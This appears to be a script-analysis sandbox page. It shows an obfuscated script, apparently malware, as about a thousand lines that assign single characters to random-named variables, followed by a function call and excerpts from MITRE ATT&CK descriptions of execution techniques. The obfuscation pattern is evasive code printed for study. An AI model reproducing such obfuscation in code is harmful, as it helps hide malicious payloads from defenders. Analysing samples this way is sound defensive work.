392	iqjvqvyfs = "A";
393	iqjvqvyfs = "O";
394	iqjvqvyfs = "d";
395	iqjvqvyfs = "S";
396	iqjvqvyfs = "p";
397	iqjvqvyfs = "N";
398	iqjvqvyfs = "G";
399	iqjvqvyfs = "O";
400	iqjvqvyfs = "X";
401	iqjvqvyfs = "R";
402	iqjvqvyfs = "W";
403	iqjvqvyfs = "O";
404	iqjvqvyfs = "O";
405	iqjvqvyfs = "i";
406	iqjvqvyfs = "r";
407	iqjvqvyfs = "B";
408	iqjvqvyfs = "c";
409	iqjvqvyfs = "B";
410	iqjvqvyfs = "w";
411	tvvriq = "o";
412	tvvriq = "H";
413	tvvriq = "j";
414	tvvriq = "F";
415	tvvriq = "Z";
416	tvvriq = "m";
417	tvvriq = "Y";
418	tvvriq = "F";
419	tvvriq = "m";
420	tvvriq = "f";
421	tvvriq = "j";
422	tvvriq = "h";
423	tvvriq = "g";
424	tvvriq = "M";
425	tvvriq = "z";
426	tvvriq = "f";
427	tvvriq = "R";
428	tvvriq = "q";
429	tvvriq = "J";
430	tvvriq = "e";
431	tvvriq = "b";
432	tvvriq = "V";
433	tvvriq = "R";
434	tvvriq = "x";
435	tvvriq = "x";
436	tvvriq = "M";
437	tvvriq = "c";
438	dugvbswu = "Z";
439	dugvbswu = "C";
440	dugvbswu = "A";
441	dugvbswu = "f";
442	dugvbswu = "M";
443	dugvbswu = "P";
444	dugvbswu = "I";
445	dugvbswu = "L";
446	dugvbswu = "Q";
447	dugvbswu = "u";
448	dugvbswu = "i";
449	dugvbswu = "l";
450	dugvbswu = "e";
451	dugvbswu = "Q";
452	dugvbswu = "F";
453	dugvbswu = "z";
454	dugvbswu = "Q";
455	dugvbswu = "z";
456	dugvbswu = "u";
457	dugvbswu = "W";
458	dugvbswu = "Z";
459	dugvbswu = "d";
460	dugvbswu = "U";
461	dugvbswu = "v";
462	dugvbswu = "J";
463	dugvbswu = "A";
464	dugvbswu = "b";
465	dugvbswu = "O";
466	dugvbswu = "G";
467	dugvbswu = "d";
468	dugvbswu = "X";
469	dugvbswu = "x";
470	dugvbswu = "K";
471	yncrnmwkm = "N";
472	yncrnmwkm = "L";
473	yncrnmwkm = "w";
474	yncrnmwkm = "t";
475	yncrnmwkm = "E";
476	yncrnmwkm = "z";
477	yncrnmwkm = "w";
478	yncrnmwkm = "u";
479	yncrnmwkm = "v";
480	yncrnmwkm = "P";
481	yncrnmwkm = "g";
482	yncrnmwkm = "q";
483	yncrnmwkm = "S";
484	yncrnmwkm = "2";
485	nztrzinlg = "Z";
486	nztrzinlg = "W";
487	nztrzinlg = "W";
488	nztrzinlg = "R";
489	nztrzinlg = "G";
490	nztrzinlg = "p";
491	nztrzinlg = "O";
492	nztrzinlg = "o";
493	nztrzinlg = "v";
494	nztrzinlg = "r";
495	nztrzinlg = "v";
496	nztrzinlg = "K";
497	nztrzinlg = "x";
498	nztrzinlg = "V";
499	nztrzinlg = "B";
500	nztrzinlg = "z";
501	nztrzinlg = "J";
502	nztrzinlg = "l";
503	nztrzinlg = "L";
504	nztrzinlg = "Y";
505	nztrzinlg = "P";
506	nztrzinlg = ".";
507	qxtmqc = "W";
508	qxtmqc = "U";
509	qxtmqc = "k";
510	qxtmqc = "c";
511	qxtmqc = "A";
512	qxtmqc = "o";
513	qxtmqc = "y";
514	qxtmqc = "U";
515	qxtmqc = "v";
516	qxtmqc = "N";
517	qxtmqc = "I";
518	qxtmqc = "v";
519	qxtmqc = "V";
520	qxtmqc = "j";
521	qxtmqc = "Z";
522	qxtmqc = "u";
523	qxtmqc = "f";
524	qxtmqc = "Y";
525	qxtmqc = "M";
526	qxtmqc = "u";
527	qxtmqc = "e";
528	qxtmqc = "C";
529	qxtmqc = "E";
530	qxtmqc = "x";
531	qxtmqc = "4";
532	wndsm = "w";
533	wndsm = "x";
534	wndsm = "h";
535	wndsm = "U";
536	wndsm = "H";
537	wndsm = "R";
538	wndsm = "a";
539	wndsm = "E";
540	wndsm = "E";
541	wndsm = "z";
542	wndsm = "t";
543	wndsm = "E";
544	wndsm = "H";
545	wndsm = "O";
546	wndsm = "W";
547	zijvtj = "h";
548	zijvtj = "G";
549	zijvtj = "c";
550	zijvtj = "r";
551	zijvtj = "U";
552	zijvtj = "o";
553	zijvtj = "m";
554	zijvtj = "n";
555	zijvtj = "F";
556	zijvtj = "p";
557	zijvtj = "U";
558	zijvtj = "K";
559	zijvtj = "v";
560	zijvtj = "x";
561	zijvtj = "L";
562	zijvtj = "u";
563	zijvtj = "h";
564	zijvtj = "G";
565	zijvtj = "U";
566	zijvtj = "t";
567	zijvtj = "t";
568	zijvtj = "U";
569	zijvtj = "H";
570	zijvtj = "F";
571	zijvtj = "G";
572	zijvtj = "W";
573	zijvtj = "g";
574	zijvtj = "V";
575	zijvtj = "S";
576	zijvtj = "n";
577	zijvtj = "N";
578	zjnvjhfrg = "g";
579	zjnvjhfrg = "l";
580	zjnvjhfrg = "x";
581	zjnvjhfrg = "i";
582	zjnvjhfrg = "k";
583	zjnvjhfrg = "C";
584	zjnvjhfrg = "M";
585	zjnvjhfrg = "X";
586	zjnvjhfrg = "C";
587	zjnvjhfrg = "H";
588	zjnvjhfrg = "n";
589	zjnvjhfrg = "g";
590	zjnvjhfrg = "n";
591	zjnvjhfrg = "s";
592	zjnvjhfrg = "M";
593	zjnvjhfrg = "w";
594	zjnvjhfrg = "u";
595	rglxtfw = "O";
596	rglxtfw = "l";
597	rglxtfw = "h";
598	rglxtfw = "C";
599	rglxtfw = "g";
600	rglxtfw = "w";
601	rglxtfw = "v";
602	zodvjhx = "w";
603	zodvjhx = "p";
604	zodvjhx = "H";
605	zodvjhx = "R";
606	zodvjhx = "b";
607	zodvjhx = "l";
608	zodvjhx = "V";
609	zodvjhx = "F";
610	zodvjhx = "K";
611	zodvjhx = "u";
612	zodvjhx = "x";
613	zodvjhx = "J";
614	zodvjhx = "A";
615	zodvjhx = "J";
616	zodvjhx = "M";
617	zodvjhx = "T";
618	zodvjhx = "R";
619	zodvjhx = "J";
620	zodvjhx = "B";
621	zodvjhx = "w";
622	zodvjhx = "S";
623	zodvjhx = "H";
624	zodvjhx = "Q";
625	zodvjhx = "J";
626	zodvjhx = "k";
627	zodvjhx = "y";
628	zodvjhx = "j";
629	zodvjhx = "p";
630	zodvjhx = "l";
631	zodvjhx = "B";
632	zodvjhx = "B";
633	zodvjhx = "E";
634	zodvjhx = "A";
635	zodvjhx = "L";
636	zodvjhx = "f";
637	zodvjhx = "t";
638	zodvjhx = "i";
639	zodvjhx = "o";
640	zodvjhx = "K";
641	zodvjhx = "E";
642	zodvjhx = "E";
643	zodvjhx = "B";
644	zodvjhx = "\"";
645	xbpimprmg = "p";
646	xbpimprmg = "Q";
647	xbpimprmg = "F";
648	xbpimprmg = "u";
649	xbpimprmg = "x";
650	xbpimprmg = "Y";
651	xbpimprmg = "g";
652	xbpimprmg = "x";
653	xbpimprmg = "x";
654	xbpimprmg = "t";
655	jxrysy = "p";
656	jxrysy = "h";
657	jxrysy = "i";
658	jxrysy = "v";
659	jxrysy = "k";
660	jxrysy = "p";
661	jxrysy = "v";
662	jxrysy = "o";
663	jxrysy = "F";
664	jxrysy = "J";
665	jxrysy = "N";
666	jxrysy = "Z";
667	jxrysy = "m";
668	jxrysy = "B";
669	jxrysy = "b";
670	jxrysy = "Z";
671	jxrysy = "q";
672	jxrysy = "P";
673	jxrysy = "r";
674	jxrysy = "z";
675	jxrysy = "W";
676	jxrysy = "q";
677	pxndrkgaq = "T";
678	pxndrkgaq = "x";
679	pxndrkgaq = "z";
680	pxndrkgaq = "Y";
681	pxndrkgaq = "m";
682	pxndrkgaq = "d";
683	pxndrkgaq = "Q";
684	pxndrkgaq = "F";
685	pxndrkgaq = "H";
686	pxndrkgaq = "p";
687	pxndrkgaq = "D";
688	pxndrkgaq = "L";
689	pxndrkgaq = "i";
690	pxndrkgaq = "R";
691	pxndrkgaq = "l";
692	pxndrkgaq = "l";
693	pxndrkgaq = "f";
694	pxndrkgaq = "s";
695	pxndrkgaq = "o";
696	pxndrkgaq = "m";
697	pxndrkgaq = "s";
698	feivimswo = "C";
699	feivimswo = "o";
700	feivimswo = "Q";
701	feivimswo = "w";
702	feivimswo = "h";
703	feivimswo = "q";
704	feivimswo = "S";
705	feivimswo = "E";
706	feivimswo = "A";
707	feivimswo = "O";
708	feivimswo = "h";
709	feivimswo = "y";
710	feivimswo = "J";
711	feivimswo = " ";
712	udtzxbb = "i";
713	udtzxbb = "H";
714	udtzxbb = "l";
715	udtzxbb = "C";
716	udtzxbb = "F";
717	udtzxbb = "l";
718	udtzxbb = "c";
719	udtzxbb = "j";
720	udtzxbb = "D";
721	udtzxbb = "Z";
722	udtzxbb = "c";
723	udtzxbb = "E";
724	udtzxbb = "K";
725	udtzxbb = "t";
726	udtzxbb = "L";
727	udtzxbb = "H";
728	udtzxbb = "a";
729	udtzxbb = "k";
730	udtzxbb = "I";
731	udtzxbb = "u";
732	udtzxbb = "r";
733	udtzxbb = "t";
734	udtzxbb = "W";
735	udtzxbb = "s";
736	udtzxbb = "Y";
737	udtzxbb = "J";
738	udtzxbb = "Z";
739	udtzxbb = "i";
740	udtzxbb = "X";
741	udtzxbb = "R";
742	udtzxbb = "6";
743	bmdlv = "S";
744	bmdlv = "z";
745	bmdlv = "v";
746	bmdlv = "E";
747	bmdlv = "K";
748	bmdlv = "s";
749	bmdlv = "G";
750	bmdlv = "b";
751	bmdlv = "S";
752	bmdlv = "R";
753	bmdlv = "j";
754	bmdlv = "y";
755	bmdlv = "I";
756	bmdlv = "y";
757	bmdlv = "B";
758	bmdlv = "l";
759	bmdlv = "x";
760	bmdlv = "C";
761	bmdlv = "a";
762	bmdlv = "K";
763	bmdlv = "N";
764	bmdlv = "A";
765	bmdlv = "i";
766	bmdlv = "s";
767	bmdlv = "x";
768	bmdlv = "R";
769	bmdlv = "w";
770	bmdlv = "M";
771	bmdlv = "n";
772	bmdlv = "p";
773	bmdlv = "9";
774	qlnvjg = "z";
775	qlnvjg = "l";
776	qlnvjg = "B";
777	qlnvjg = "W";
778	qlnvjg = "O";
779	qlnvjg = "a";
780	qlnvjg = "m";
781	qlnvjg = "h";
782	qlnvjg = "N";
783	qlnvjg = "F";
784	qlnvjg = "f";
785	qlnvjg = "i";
786	qlnvjg = "f";
787	qlnvjg = "K";
788	qlnvjg = "d";
789	qlnvjg = "U";
790	qlnvjg = "Z";
791	qlnvjg = "C";
792	qlnvjg = "d";
793	qlnvjg = "X";
794	qlnvjg = "t";
795	qlnvjg = "H";
796	qlnvjg = "T";
797	qlnvjg = "H";
798	qlnvjg = "u";
799	qlnvjg = "o";
800	qlnvjg = "G";
801	qlnvjg = "G";
802	qlnvjg = "/";
803	qwgzqdbwy = "H";
804	qwgzqdbwy = "p";
805	qwgzqdbwy = "V";
806	qwgzqdbwy = "i";
807	qwgzqdbwy = "R";
808	qwgzqdbwy = "E";
809	qwgzqdbwy = "L";
810	qwgzqdbwy = "E";
811	qwgzqdbwy = "Y";
812	qwgzqdbwy = "b";
813	qwgzqdbwy = "l";
814	qwgzqdbwy = "G";
815	qwgzqdbwy = "V";
816	qwgzqdbwy = "D";
817	qwgzqdbwy = "z";
818	qwgzqdbwy = "Z";
819	qwgzqdbwy = "p";
820	qwgzqdbwy = "u";
821	qwgzqdbwy = "Z";
822	qwgzqdbwy = "F";
823	qwgzqdbwy = "k";
824	qwgzqdbwy = "d";
825	qwgzqdbwy = "S";
826	qwgzqdbwy = "m";
827	qwgzqdbwy = "m";
828	qwgzqdbwy = "o";
829	qwgzqdbwy = "T";
830	qwgzqdbwy = "c";
831	qwgzqdbwy = "p";
832	qwgzqdbwy = "k";
833	qwgzqdbwy = "E";
834	qwgzqdbwy = "W";
835	qwgzqdbwy = "a";
836	qwgzqdbwy = "s";
837	qwgzqdbwy = "d";
838	qwgzqdbwy = "e";
839	qwgzqdbwy = "f";
840	yhswxb = "D";
841	yhswxb = "y";
842	yhswxb = "F";
843	yhswxb = "K";
844	yhswxb = "a";
845	yhswxb = "5";
846	lpxaioze = "Y";
847	lpxaioze = "B";
848	lpxaioze = "t";
849	lpxaioze = "C";
850	lpxaioze = "r";
851	lpxaioze = "w";
852	lpxaioze = "i";
853	lpxaioze = "f";
854	lpxaioze = "c";
855	lpxaioze = "C";
856	gpjrbphhs = "z";
857	gpjrbphhs = "T";
858	gpjrbphhs = "J";
859	gpjrbphhs = "g";
860	gpjrbphhs = "@";
861	jagsf = "X";
862	jagsf = "G";
863	jagsf = "B";
864	jagsf = "k";
865	jagsf = "_";
866	bkkpfdya = "k";
867	bkkpfdya = "p";
868	bkkpfdya = "H";
869	bkkpfdya = "a";
870	bkkpfdya = "Y";
871	bkkpfdya = "q";
872	bkkpfdya = "p";
873	bkkpfdya = "b";
874	bkkpfdya = "H";
875	bkkpfdya = "b";
876	bkkpfdya = "b";
877	bkkpfdya = "v";
878	bkkpfdya = "d";
879	bkkpfdya = "c";
880	bkkpfdya = "b";
881	bkkpfdya = "V";
882	bkkpfdya = "T";
883	bkkpfdya = "r";
884	bkkpfdya = "s";
885	bkkpfdya = "N";
886	bkkpfdya = "H";
887	bkkpfdya = "i";
888	bkkpfdya = "I";
889	bkkpfdya = "W";
890	bkkpfdya = "R";
891	bkkpfdya = "n";
892	hxzpw = "e";
893	hxzpw = "h";
894	hxzpw = "D";
895	hxzpw = "c";
896	hxzpw = "T";
897	hxzpw = "A";
898	hxzpw = "n";
899	hxzpw = "n";
900	hxzpw = "D";
901	hxzpw = "C";
902	hxzpw = "I";
903	hxzpw = "y";
904	hxzpw = "O";
905	hxzpw = "d";
906	hxzpw = "c";
907	hxzpw = "X";
908	hxzpw = "n";
909	hxzpw = "T";
910	hxzpw = "V";
911	hxzpw = "q";
912	hxzpw = "E";
913	dsnoq = "R";
914	dsnoq = "u";
915	dsnoq = "z";
916	dsnoq = "E";
917	dsnoq = "S";
918	dsnoq = "j";
919	dsnoq = "o";
920	dsnoq = "w";
921	dsnoq = "V";
922	dsnoq = "v";
923	dsnoq = "n";
924	dsnoq = "y";
925	dsnoq = "Z";
926	dsnoq = "z";
927	dsnoq = "q";
928	dsnoq = "g";
929	dsnoq = "l";
930	dsnoq = "U";
931	dsnoq = "x";
932	dsnoq = "S";
933	dsnoq = "p";
934	dsnoq = "K";
935	dsnoq = "t";
936	dsnoq = "o";
937	dsnoq = "W";
938	dsnoq = "G";
939	dsnoq = "B";
940	dsnoq = "U";
941	dsnoq = "J";
942	dsnoq = "p";
943	dsnoq = "m";
944	dsnoq = "C";
945	dsnoq = "c";
946	dsnoq = "s";
947	dsnoq = "q";
948	dsnoq = "v";
949	dsnoq = "j";
950	dsnoq = "t";
951	dsnoq = "C";
952	dsnoq = "X";
953	dsnoq = "R";
954	dsnoq = "X";
955	dsnoq = "d";
956	dsnoq = "P";
957	dsnoq = "Y";
958	xaogn = "D";
959	xaogn = "t";
960	xaogn = "k";
961	xaogn = "J";
962	xaogn = "X";
963	xaogn = "o";
964	xaogn = "r";
965	xaogn = "a";
966	xaogn = "J";
967	xaogn = "M";
968	xaogn = "s";
969	xaogn = "q";
970	xaogn = "u";
971	xaogn = "x";
972	xvbxgfe = "W";
973	xvbxgfe = "L";
974	xvbxgfe = "W";
975	xvbxgfe = "l";
976	xvbxgfe = "Y";
977	xvbxgfe = "G";
978	xvbxgfe = "I";
979	xvbxgfe = "Z";
980	xvbxgfe = "a";
981	xvbxgfe = "G";
982	xvbxgfe = "F";
983	xvbxgfe = "s";
984	xvbxgfe = "o";
985	xvbxgfe = "r";
986	xvbxgfe = "t";
987	xvbxgfe = "x";
988	xvbxgfe = "Q";
989	xvbxgfe = "s";
990	xvbxgfe = "m";
991	xvbxgfe = "s";
992	xvbxgfe = "v";
993	xvbxgfe = "o";
994	xvbxgfe = "N";
995	xvbxgfe = "b";
996	xvbxgfe = "C";
997	xvbxgfe = "v";
998	xvbxgfe = "a";
999	xvbxgfe = "I";
1000	xvbxgfe = "J";
1001	xvbxgfe = "a";
1002	xvbxgfe = "H";
1003	xvbxgfe = "n";
1004	xvbxgfe = "G";
1005	xvbxgfe = "h";
1006	xvbxgfe = "j";
1007	xvbxgfe = "Q";
1008	xvbxgfe = "d";
1009	xvbxgfe = "C";
1010	xvbxgfe = "J";
1011	xvbxgfe = "o";
1012	whbkcji = "C";
1013	whbkcji = "J";
1014	whbkcji = "o";
1015	whbkcji = "q";
1016	whbkcji = "V";
1017	whbkcji = "N";
1018	whbkcji = "d";
1019	whbkcji = "P";
1020	whbkcji = "H";
1021	whbkcji = "D";
1022	whbkcji = "v";
1023	whbkcji = "C";
1024	whbkcji = "d";
1025	whbkcji = "q";
1026	whbkcji = "a";
1027	whbkcji = "x";
1028	whbkcji = "E";
1029	whbkcji = "I";
1030	whbkcji = "v";
1031	whbkcji = "y";
1032	whbkcji = "v";
1033	whbkcji = "z";
1034	whbkcji = "N";
1035	whbkcji = "Q";
1036	whbkcji = "1";
1037	isqazh = "d";
1038	isqazh = "O";
1039	isqazh = "N";
1040	isqazh = "r";
1041	isqazh = "B";
1042	isqazh = "d";
1043	isqazh = "R";
1044	isqazh = "B";
1045	isqazh = "V";
1046	isqazh = "T";
1047	isqazh = "R";
1048	isqazh = "s";
1049	isqazh = "L";
1050	isqazh = "b";
1051	isqazh = "a";
1052	isqazh = "s";
1053	isqazh = "i";
1054	isqazh = "B";
1055	isqazh = "c";
1056	isqazh = "p";
1057	isqazh = "z";
1058	isqazh = "U";
1059	isqazh = "m";
1060	isqazh = "f";
1061	isqazh = "m";
1062	isqazh = "p";
1063	isqazh = "n";
1064	isqazh = "T";
1065	isqazh = "e";
1066	isqazh = "u";
1067	isqazh = "j";
1068	isqazh = "B";
1069	isqazh = "P";
1070	isqazh = "h";
1071	isqazh = "W";
1072	isqazh = "i";
1073	isqazh = "s";
1074	isqazh = "a";
1075	bsiaqduy = "r";
1076	bsiaqduy = "T";
1077	bsiaqduy = "b";
1078	ceiup = "h";
1079	ceiup = "H";
1080	ceiup = "I";
1081	ceiup = "V";
1082	ceiup = "l";
1083	ceiup = "v";
1084	ceiup = "U";
1085	ceiup = "V";
1086	ceiup = "w";
1087	ceiup = "m";
1088	ceiup = "f";
1089	ceiup = "u";
1090	ceiup = "T";
1091	ceiup = "b";
1092	ceiup = "e";
1093	ceiup = "k";
1094	ceiup = "Q";
1095	ceiup = "u";
1096	ceiup = "J";
1097	ceiup = "D";
1098	ceiup = "K";
1099	ceiup = "B";
1100	ceiup = "z";
1101	ceiup = "K";
1102	ceiup = "m";
1103	ceiup = "V";
1104	ceiup = "J";
1105	ceiup = "x";
1106	ceiup = "z";
1107	ceiup = "p";
1108	ceiup = "I";
1109	ceiup = "J";
1110	ceiup = "R";
1111	qvddlu = "y";
1112	qvddlu = "b";
1113	qvddlu = "I";
1114	qvddlu = "y";
1115	qvddlu = "e";
1116	qvddlu = "E";
1117	qvddlu = "h";
1118	qvddlu = "B";
1119	qvddlu = "M";
1120	qvddlu = "j";
1121	qvddlu = "I";
1122	qvddlu = "d";
1123	qvddlu = "c";
1124	qvddlu = "p";
1125	qvddlu = "y";
1126	qvddlu = "Y";
1127	qvddlu = "u";
1128	qvddlu = "U";
1129	qvddlu = "T";
1130	qvddlu = "I";
1131	qvddlu = "d";
1132	qvddlu = "H";
1133	qvddlu = "Z";
1134	qvddlu = "e";
1135	qvddlu = "s";
1136	qvddlu = "c";
1137	qvddlu = "A";
1138	qvddlu = "S";
1139	qvddlu = "E";
1140	qvddlu = "M";
1141	qvddlu = "y";
1142	qvddlu = "P";
1143	qvddlu = "B";
1144	qvddlu = "A";
1145	qvddlu = "a";
1146	qvddlu = "h";
1147	qvddlu = "R";
1148	qvddlu = "O";
1149	qvddlu = "T";
1150	qvddlu = "m";
1151	qvddlu = "m";
1152	qvddlu = "T";
1153	olwtsd = "d";
1154	olwtsd = "E";
1155	olwtsd = "A";
1156	olwtsd = "V";
1157	olwtsd = "U";
1158	olwtsd = "b";
1159	olwtsd = "K";
1160	olwtsd = "Y";
1161	olwtsd = "T";
1162	olwtsd = "J";
1163	olwtsd = "g";
1164	olwtsd = "k";
1165	olwtsd = "H";
1166	olwtsd = "L";
1167	olwtsd = "e";
1168	olwtsd = "V";
1169	olwtsd = "Q";
1170	olwtsd = "T";
1171	olwtsd = "l";
1172	olwtsd = "E";
1173	olwtsd = "N";
1174	olwtsd = "D";
1175	olwtsd = "c";
1176	olwtsd = "H";
1177	olwtsd = "M";
1178	olwtsd = "f";
1179	olwtsd = "I";
1180	olwtsd = "I";
1181	olwtsd = "T";
1182	olwtsd = "J";
1183	olwtsd = "F";
1184	olwtsd = "y";
1185	olwtsd = "j";
1186	olwtsd = "c";
1187	olwtsd = "X";
1188	olwtsd = "d";
1189	olwtsd = "N";
1190	olwtsd = "m";
1191	xdchixubu = "c";
1192	xdchixubu = "w";
1193	xdchixubu = "d";
1194	xdchixubu = ":";
1195	wdwphzqwk = "T";
1196	wdwphzqwk = "i";
1197	wdwphzqwk = "T";
1198	wdwphzqwk = "o";
1199	wdwphzqwk = "K";
1200	wdwphzqwk = "G";
1201	wdwphzqwk = "e";
1202	wdwphzqwk = "l";
1203	wdwphzqwk = "k";
1204	wdwphzqwk = "A";
1205	wdwphzqwk = "f";
1206	wdwphzqwk = "i";
1207	wdwphzqwk = "N";
1208	wdwphzqwk = "h";
1209	frpop = "o";
1210	frpop = "h";
1211	frpop = "L";
1212	frpop = "V";
1213	frpop = "B";
1214	frpop = "W";
1215	frpop = "Q";
1216	frpop = "W";
1217	frpop = "F";
1218	frpop = "J";
1219	frpop = "C";
1220	frpop = "S";
1221	frpop = "v";
1222	frpop = "u";
1223	frpop = "h";
1224	frpop = "h";
1225	frpop = "L";
1226	frpop = "M";
1227	frpop = "w";
1228	frpop = "n";
1229	frpop = "V";
1230	frpop = "e";
1231	frpop = "0";
1232	nybgtpcb = "u";
1233	nybgtpcb = "x";
1234	nybgtpcb = "J";
1235	nybgtpcb = "B";
1236	nybgtpcb = "Z";
1237	nybgtpcb = "m";
1238	nybgtpcb = "C";
1239	nybgtpcb = "E";
1240	nybgtpcb = "e";
1241	nybgtpcb = "z";
1242	nybgtpcb = "q";
1243	nybgtpcb = "M";
1244	nybgtpcb = "l";
1245	nybgtpcb = "N";
1246	nybgtpcb = "Q";
1247	nybgtpcb = "A";
1248	nybgtpcb = "o";
1249	nybgtpcb = "b";
1250	nybgtpcb = "V";
1251	nybgtpcb = "V";
1252	nybgtpcb = "q";
1253	nybgtpcb = "N";
1254	nybgtpcb = "c";
1255	nybgtpcb = "I";
1256	nybgtpcb = "c";
1257	nybgtpcb = "l";
1258	nybgtpcb = "l";
1259	nybgtpcb = "Y";
1260	nybgtpcb = "b";
1261	nybgtpcb = "u";
1262	nybgtpcb = "k";
1263	rtvchyp = "d";
1264	rtvchyp = "K";
1265	rtvchyp = "A";
1266	rtvchyp = "S";
1267	rtvchyp = "i";
1268	rtvchyp = "v";
1269	rtvchyp = "7";
1270	tpzou = "G";
1271	tpzou = "C";
1272	tpzou = "v";
1273	tpzou = "e";
1274	tpzou = "e";
1275	tpzou = "N";
1276	tpzou = "S";
1277	tpzou = "C";
1278	tpzou = "M";
1279	tpzou = "V";
1280	tpzou = "y";
1281	tpzou = "J";
1282	tpzou = "Y";
1283	tpzou = "F";
1284	tpzou = "E";
1285	tpzou = "W";
1286	tpzou = "D";
1287	tpzou = "W";
1288	tpzou = "W";
1289	tpzou = "h";
1290	tpzou = "e";
1291	tpcjhwun = "K";
1292	tpcjhwun = "I";
1293	tpcjhwun = "I";
1294	tpcjhwun = "l";
1295	tpcjhwun = "n";
1296	tpcjhwun = "P";
1297	tpcjhwun = "b";
1298	tpcjhwun = "K";
1299	tpcjhwun = "K";
1300	tpcjhwun = "u";
1301	tpcjhwun = "N";
1302	tpcjhwun = "r";
1303	tpcjhwun = "E";
1304	tpcjhwun = "n";
1305	tpcjhwun = "C";
1306	tpcjhwun = "w";
1307	tpcjhwun = "w";
1308	tpcjhwun = "G";
1309	tpcjhwun = "q";
1310	tpcjhwun = "N";
1311	tpcjhwun = "V";
1312	tpcjhwun = "I";
1313	tpcjhwun = "f";
1314	tpcjhwun = "f";
1315	tpcjhwun = "O";
1316	hiozked = "w";
1317	hiozked = "s";
1318	hiozked = "M";
1319	hiozked = "Z";
1320	hiozked = "-";
1321	eeimlv = "E";
1322	eeimlv = "O";
1323	eeimlv = "n";
1324	eeimlv = "m";
1325	eeimlv = "J";
1326	eeimlv = "y";
1327	eeimlv = "t";
1328	eeimlv = "D";
1329	eeimlv = "v";
1330	eeimlv = "B";
1331	eeimlv = "Z";
1332	eeimlv = "U";
1333	xnlpxe = "G";
1334	xnlpxe = "S";
1335	xnlpxe = "H";
1336	xnlpxe = "a";
1337	xnlpxe = "q";
1338	xnlpxe = "c";
1339	xnlpxe = "i";
1340	hejyimnvg = "3";
1341	qqczkr = "X";
1342	qqczkr = "h";
1343	qqczkr = "F";
1344	qqczkr = "U";
1345	qqczkr = "Y";
1346	qqczkr = "E";
1347	qqczkr = "Z";
1348	qqczkr = "O";
1349	qqczkr = "U";
1350	qqczkr = "C";
1351	qqczkr = "I";
1352	qqczkr = "r";
1353	qqczkr = "W";
1354	qqczkr = "u";
1355	qqczkr = "u";
1356	qqczkr = "J";
1357	qqczkr = "u";
1358	qqczkr = "g";
1359	qqczkr = "U";
1360	qqczkr = "P";
1361	ryjhaqrv = "d";
1362	ryjhaqrv = "l";
1363	ryjhaqrv = "W";
1364	ryjhaqrv = "r";
1365	ryjhaqrv = "Z";
1366	ryjhaqrv = "p";
1367	ryjhaqrv = "v";
1368	ryjhaqrv = "P";
1369	ryjhaqrv = "E";
1370	ryjhaqrv = "z";
1371	ryjhaqrv = "n";
1372	ryjhaqrv = "Q";
1373	ryjhaqrv = "X";
1374	ryjhaqrv = "U";
1375	ryjhaqrv = "m";
1376	ryjhaqrv = "L";
1377	ryjhaqrv = "j";
1378	ryjhaqrv = "c";
1379	ryjhaqrv = "v";
1380	ryjhaqrv = "N";
1381	ryjhaqrv = "M";
1382	ryjhaqrv = "K";
1383	ryjhaqrv = "B";
1384	ryjhaqrv = "d";
1385	ryjhaqrv = "p";
1386	ryjhaqrv = "x";
1387	ryjhaqrv = "R";
1388	ryjhaqrv = "P";
1389	ryjhaqrv = "T";
1390	ryjhaqrv = "u";
1391	ryjhaqrv = "%";
1392	ibfug = "s";
1393	ibfug = "i";
1394	ibfug = "O";
1395	ibfug = "r";
1396	ibfug = "R";
1397	ibfug = "t";
1398	ibfug = "Q";
1399	ibfug = "T";
1400	ibfug = "M";
1401	ibfug = "c";
1402	ibfug = "v";
1403	ibfug = "L";
1404	ibfug = "A";
1405	ibfug = "X";
1406	ibfug = "Z";
1407	ibfug = "Q";
1408	ibfug = "N";
1409	ibfug = "T";
1410	ibfug = "h";
1411	ibfug = "W";
1412	ibfug = "x";
1413	ibfug = "S";
1414	ibfug = "F";
1415	ibfug = "X";
1416	ibfug = "P";
1417	ibfug = "K";
1418	ibfug = "I";
1419	ndpteiz = "q";
1420	ndpteiz = "W";
1421	ndpteiz = "V";
1422	ndpteiz = "k";
1423	ndpteiz = "h";
1424	ndpteiz = "f";
1425	ndpteiz = "V";
1426	ndpteiz = "M";
1427	ndpteiz = "F";
1428	ndpteiz = "V";
1429	ndpteiz = "o";
1430	ndpteiz = "p";
1431	ndpteiz = "m";
1432	ndpteiz = "b";
1433	ndpteiz = "k";
1434	ndpteiz = "X";
1435	ndpteiz = "f";
1436	ndpteiz = "q";
1437	ndpteiz = "T";
1438	ndpteiz = "A";
1439	ndpteiz = "e";
1440	ndpteiz = "S";
1441	ndpteiz = "t";
1442	ndpteiz = "V";
1443	ndpteiz = "h";
1444	ndpteiz = "c";
1445	ndpteiz = "n";
1446	ndpteiz = "G";
1447	ndpteiz = "n";
1448	ndpteiz = "y";
1449	ndpteiz = "B";
1450	ndpteiz = "8";
1451	fwugsbzm ( );	fwugsbzm() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

